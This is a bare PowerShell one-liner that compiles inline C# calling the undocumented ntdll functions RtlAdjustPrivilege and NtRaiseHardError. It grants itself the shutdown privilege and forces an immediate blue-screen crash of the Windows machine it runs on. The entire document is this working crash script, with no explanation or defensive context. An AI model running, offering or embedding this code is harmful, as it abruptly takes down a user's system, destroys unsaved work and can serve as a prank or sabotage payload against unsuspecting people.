Add-Type -T 'using System;using System.Runtime.InteropServices;public static class C{[DllImport("ntdll.dll")]static extern uint RtlAdjustPrivilege(int p,bool b,bool i,out bool v);[DllImport("ntdll.dll")]static extern uint NtRaiseHardError(uint e,uint n,uint u,IntPtr p,uint v,out uint r);public static unsafe void K(){Boolean t;uint s;NtRaiseHardError(0xc0000022,RtlAdjustPrivilege(19,true,false,out t),0,IntPtr.Zero,6,out s);}}' -CP (New-Object -T System.CodeDom.Compiler.CompilerParameters -P @{'CompilerOptions'='/unsafe'});[C]::K()